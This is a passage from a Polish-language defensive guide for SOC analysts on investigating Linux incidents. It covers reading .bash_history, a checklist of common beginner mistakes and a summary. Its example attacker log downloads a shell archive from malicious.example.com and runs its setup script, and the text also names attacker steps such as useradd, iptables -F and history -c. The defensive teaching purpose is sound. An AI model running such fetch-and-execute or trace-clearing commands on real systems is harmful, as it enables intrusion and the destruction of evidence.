Co możemy tam znaleźć? Często całą sekwencję działań atakującego: pobieranie narzędzi, rozpakowywanie archiwów, zmiany uprawnień, uruchamianie skryptów, manipulacje w systemie. Przykładowy fragment historii może wyglądać tak:

sudo -l
wget http://malicious.example.com/shell.tgz -O /tmp/shell.tgz
tar -xvf /tmp/shell.tgz -C /tmp/
chmod +x /tmp/shell/setup.sh
/tmp/shell/setup.sh

W powyższym logu widać, że użytkownik najpierw sprawdził własne uprawnienia sudo (sudo -l), następnie pobrał archiwum z zewnętrznego serwera, rozpakował je w katalogu tymczasowym i uruchomił skrypt instalacyjny. To klasyczny schemat przy atakach – najpierw rekonesans uprawnień, potem ściągnięcie malware (np. webshella lub exploit) i jego wykonanie. Taki zapis w historii jednoznacznie potwierdza nam wektor ataku i czynności wykonane przez intruza. Inny przykład: w historii roota możemy znaleźć polecenia dodania nowego użytkownika do systemu, modyfikacji konfiguracji SSH, wyłączenia firewalla czy instalacji narzędzi typu netcat. Każda z tych akcji od razu naprowadza nas na artefakty do weryfikacji (np. jeśli widzimy useradd attacker, to sprawdzamy listę kont; jeśli iptables -F – weryfikujemy bieżące reguły firewall i logi).

Oczywiście, doświadczeni włamywacze mogą czyścić historię – np. poprzez history -c podczas sesji lub usunięcie pliku .bash_history. Jeśli więc zobaczysz, że plik historii nagle się urywa albo jest podejrzanie krótki mimo długiego czasu użytkowania systemu, to też cenna informacja (może świadczyć o próbie zatarcia śladów). W wielu przypadkach jednak atakujący zapominają o tym lub nie mają na to czasu. Dla analityka nawet fragmentaryczna historia poleceń bywa bezcenna. Pozwala odtworzyć timeline incydentu z perspektywy napastnika: co uruchomił, skąd pobrał pliki, co modyfikował. To prosty, ale bardzo skuteczny element analiz powłamaniowych – dlatego zawsze, gdy badamy incydent na Linuksie, zaglądamy do .bash_history kont powiązanych ze zdarzeniem.

Typowe błędy początkujących analityków w środowisku Linux SOC (checklista + wyjaśnienia)

Na koniec warto wspomnieć o pułapkach, w jakie często wpadają początkujący analitycy podczas pracy z systemami Linux. Oto checklista typowych błędów wraz z wyjaśnieniami, czego unikać i jak robić to lepiej:

  • Brak zabezpieczenia dowodów: Nowicjusze nieraz w pośpiechu zaczynają usuwać malware lub restartować usługę/host, zanim zbiorą kluczowe dowody. To błąd, bo po zmianach wiele informacji przepada. Zanim cokolwiek usuniesz lub naprawisz, zabezpiecz artefakty – skopiuj podejrzane pliki binarne, zrób zrzut pamięci (gcore), wyeksportuj logi i historię poleceń. Te dane będą nieocenione przy późniejszej analizie i raportowaniu incydentu.
  • Zbytnia ufność w wyniki poleceń systemowych: Jeśli system jest zrootowany (rootkit lub trojan), polecenia takie jak ps, ls, netstat mogą kłamać (atakujący mógł je podmienić lub spatchować kernel). Początkujący często przyjmują wyniki komend za pewnik. Tymczasem wroga obecność może sprawić, że to co widzisz, to tylko „teatr”. Dlatego w razie podejrzeń korzystaj z narzędzi spoza zainfekowanego systemu: odpal live CD, użyj statycznie skompilowanych binarek (np. busybox na pendrive) albo przenieś dysk do sandboxa – upewnisz się, że zbierasz prawdziwe informacje, a nie spreparowane przez malware.
  • Ignorowanie pełnego kontekstu incydentu: Skupienie się tylko na jednym wskaźniku kompromitacji to częsty błąd. Przykładowo, początkujący analityk znajduje podejrzany proces i od razu go zabija – uznając, że problem rozwiązany. A należy zadać pytanie: jak ten proces się pojawił? Może w tle jest niezaktualizowana usługa WWW, przez którą intruz wchodzi za każdym razem? Albo złośliwy cron uruchamia malware co godzinę? Zawsze analizuj szerszy obraz: przejrzyj logi logowania (/var/log/auth.log), historię poleceń, crontab, jednostki systemd, konfiguracje usług. Dzięki temu nie przeoczysz mechanizmu pierwotnej infekcji ani persystencji – bo usunięcie jednego procesu to za mało, jeśli za 5 minut pojawi się nowy.
  • Pochopne działania naprawcze: W stresie łatwo wcisnąć paniczny przycisk – np. zrestartować cały serwer w nadziei, że „problem zniknie”, albo masowo usuwać pliki malware bez zastanowienia. Niestety, restart może ukryć ślady (czyści pamięć RAM, resetuje uptime procesów), a usuwanie plików uniemożliwi ich późniejszą analizę. Zamiast tego najpierw odizoluj zagrożenie, np. wypnij serwer z sieci (odłącz kabel, wyłącz interfejsy), żeby powstrzymać ewentualny ruch atakującego na zewnątrz. Następnie działaj metodycznie: zbierz dowody, zidentyfikuj wszystkie komponenty ataku, dopiero potem czyść system lub przygotuj go do reinstalacji. Pamiętaj – celem Blue Team jest nie tylko zatrzymanie ataku, ale i zrozumienie go, aby zapobiec powtórce.
  • Niedostosowanie uprawnień podczas analizy: Często początkujący próbują analizować system nie posiadając odpowiednich uprawnień, przez co „nie widzą” pełnego obrazu. Przykład: użycie lsof czy podgląd /proc bez roota – wiele informacji będzie niewidocznych (procesy roota są ukryte przed zwykłym userem, podobnie jak niektóre pliki). Z drugiej strony, operowanie na zainfekowanym systemie na koncie roota bez potrzeby też jest ryzykowne (łatwo coś przypadkiem zepsuć lub uruchomić). Zachowaj balans: do odczytu krytycznych danych używaj sudo (np. sudo lsof, sudo cat /proc/...), ale wykonuj tylko te polecenia, które są bezpieczne. Unikaj uruchamiania nieznanego kodu jako root. Jeżeli musisz przeanalizować złośliwy plik wykonywalny – zrób to w kontrolowanym labie, nie na produkcyjnym serwerze.
  • Brak dokumentacji i notatek: W ferworze walki z incydentem łatwo pominąć ten aspekt. Godziny spędzone na analizie, dziesiątki poleceń w konsoli – jeśli tego nie zapiszesz, po fakcie możesz nie odtworzyć wszystkich ustaleń. Początkujący często polegają na pamięci, co prowadzi do chaosu w raportowaniu. Dobra praktyka: prowadź na bieżąco notatki – choćby w prostym pliku tekstowym. Zapisuj, co znalazłeś (np. „proces o PID X – zrzut pamięci zapisany w /tmp/memdumpX.core, hash malware: …”), wyniki ważnych komend (przekieruj output do plików za pomocą >), kluczowe timestampy. Dzięki temu nic Ci nie umknie, a raport końcowy będzie rzetelny. Dodatkowo, mając log z własnych działań, łatwiej skonsultujesz się z kolegami z zespołu i zweryfikujesz kroki, które już podjęto.
  • Uruchamianie podejrzanych plików bez izolacji: Ciekawość to pierwszy stopień do… ponownej infekcji. Zdarza się, że niedoświadczony analityk znajduje plik .exe lub skrypt powłoki i myśli: „sprawdzę, co to dokładnie robi” – po czym uruchamia go na zaatakowanym hoście albo (o zgrozo) na swojej stacji roboczej. To bardzo ryzykowne – możesz uruchomić drugi backdoor lub trigger, który dogra kolejne malware albo usunie ślady. Zawsze traktuj znalezione podejrzane pliki jak skażony materiał biologiczny: analizuj w odizolowanym środowisku. Jeśli to binarka Linuksa, przenieś ją do sandboxa (maszyna wirtualna, kontener) bez dostępu do produkcyjnej sieci. Tam możesz ją odpalić lub przetestować narzędziami (np. strace, objdump, sandbox online) bez narażania infrastruktury. Podobnie ze skryptami – przejrzyj kod w edytorze tekstowym, zamiast wykonywać go od razu. W ten sposób zaspokoisz ciekawość analityczną w kontrolowanych warunkach, nie dokładając kolejnych problemów do i tak stresującego incydentu.

Każdy z powyższych błędów jest do uniknięcia, jeśli działasz rozważnie i metodycznie. Linux daje ogromne możliwości diagnostyczne, ale wymaga od analityka opanowania i świadomości, co może pójść nie tak. Ucz się na błędach (najlepiej cudzych) – następnym razem, gdy dostaniesz alert o incydencie na linuksowym serwerze, będziesz wiedzieć, czego nie robić, a co zrobić od razu, by skutecznie i bezpiecznie przeprowadzić dochodzenie. Teraz, bogatszy o te doświadczenia, możesz wrócić do naszego przewodnika po komendach Linux i z pewnością wykorzystać go jeszcze efektywniej w praktyce.

Podsumowanie

Praca analityka bezpieczeństwa w środowisku Linux wymaga czegoś więcej niż znajomości kilku poleceń — wymaga rozumienia systemu od środka. Każdy proces, plik, log czy usługa może być tropem, który prowadzi do źródła incydentu. Ten przewodnik pokazał, jak wykorzystać klasyczne komendy Linuksa — od ps, netstat i systemctl, po lsof, chkrootkit i analizę .bash_history — by uzyskać pełny obraz sytuacji podczas dochodzenia incydentowego.

Dla analityka SOC znajomość tych narzędzi oznacza szybszą diagnozę, lepsze wnioski i skuteczniejszą reakcję. Zamiast opierać się na narzędziach zewnętrznych, które mogą zawieść lub nie być dostępne, możesz polegać na wbudowanym arsenale Linuksa. W połączeniu z praktykami forensic, analizą pamięci oraz kontrolą autostartu daje to potężne możliwości detekcji i reagowania na ataki w czasie rzeczywistym.

Warto pamiętać, że skuteczny Blue Teamer to nie ten, który zna wszystkie narzędzia, ale ten, który potrafi z nich korzystać mądrze — z zachowaniem dowodów, świadomością kontekstu i chłodną analizą faktów. Jeśli chcesz doskonalić swoje umiejętności, potraktuj ten przewodnik jako punkt startowy do własnych ćwiczeń.
Uruchom terminal, przejdź kolejne komendy, poobserwuj logi i procesy, stwórz własne scenariusze testowe. Im lepiej zrozumiesz mechanizmy działania Linuksa, tym szybciej rozpoznasz moment, w którym system przestaje zachowywać się normalnie.

Zrób to teraz: wybierz jedną z maszyn testowych i przećwicz dzisiejsze polecenia. Sprawdź procesy, logi i połączenia. Zobacz, jak Twój system wygląda, gdy wszystko działa poprawnie.
Bo gdy następnym razem w logach pojawi się coś nietypowego — będziesz wiedział, gdzie szukać odpowiedzi.

Bibliografia